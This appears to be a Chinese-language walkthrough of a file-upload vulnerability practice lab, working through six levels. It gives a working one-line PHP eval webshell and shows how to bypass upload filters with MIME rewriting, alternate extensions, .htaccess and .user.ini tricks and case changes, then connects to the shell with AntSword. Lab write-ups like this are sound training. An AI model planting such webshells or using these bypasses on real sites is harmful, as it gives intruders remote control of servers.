开始之前制作一句话木马
<?php @eval($_POST['pass']);?>
原理:
eval 就是执行命令的函数。eval函数把接收的数据当作PHP代码来执行。这样我们就能够让插入了一句话木马的网站执行我们传递过去的任意PHP语句。
一.
查看一下源码,属于JS,直接禁用JS,即可上传
在文件上右击,新建标签页打开图像
之后如图
入侵成功
还有一中方法是使用“蚁剑”
打开蚁剑,空白处右击,添加数据
输入“新建标签页打开图像”的URL,密码为自己设置的密码,即一句话木马中的密码“pass”,点击测试连接,成功后点击添加
添加后即可查看网站里的文件,并且可以随意改动!
以下都可以使用蚁剑连接,不在演示
二.
查询源代码,发现是PHP语言(后端),后端判断你的文件类型
可以看到是php先获取全局变量FILE后,检查数组中的upload_file[type]是不是jpeg、png、gif等格式,如果是,才可以上传。
想要成功上传,我们可以使用burp抓包,进行改包后上传
开启抓包,点击上传后拦截
修改图中 application/octet-stream
修改为 image/jpeg 或 image/png 或 image/gif
点击Forwad直至出现
进行测试,成功
三.
查看源码,发现“黑名单”
只有不是array中的文件类型才能上传成功,同时,这也是后端检查
但可以上传 php1、php2、php3、php4、php5、php7、pht、phtml、 phar、 phps、Asp、aspx、cer、cdx、 asa、asax、jsp、jspa、jspx等畸形后缀名。前提条件,即Apache的httpd.conf有配置代码 AddType application/x-httpd-php .pht .phtml .phps .php5 .pht .
同上题,改包
或者接上传后缀为.php5的木马
测试,成功
四.
黑名单拒绝了几乎所有有问题的后缀名,除了.htaccess
.htaccess文件可以实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能IIS平台上不存在该文件,该文件默认开启,启用和关闭 在httpd.conf文件中配置。
首先写一个.htaccess文件
以php解析后缀为.xxx的文件文件
AddType application/x-httpd-php xxx
或者
为test的文件 当作php文件解析
<FilesMatch "test">
SetHandler application/x-httpd-php
</FilesMatch>
我这里选择第一种方法,其中xxx为jpg
再上传.jpg木马
测试,成功
五.
同第四题一样,黑名单也很长,并且包括了.htaccess文件
再想其他的办法
php.ini 是 php的配置文件,.user.ini 中的字段也会被 php 视为配置文件来处理,从而导致 php 的文件解析漏洞。
创建一个.user.ini文件并把它上传
.user.ini文件里的意思是:所有的php文件都自动包含1.jpg文件。.user.ini相当于一个用户自定义的php.ini
再上传1.jpg
发现图片页面提示“因存在错误而无法显示”,我不理解......
复制图片链接,复制图像地址后,将文件名改为readme.php,然后密码设置为一句话的密码,蚁剑连接成功
六.
与前几个进行比较,发现没有禁用大小写
进行大小写绕过
文件名修改为.Php
测试,成功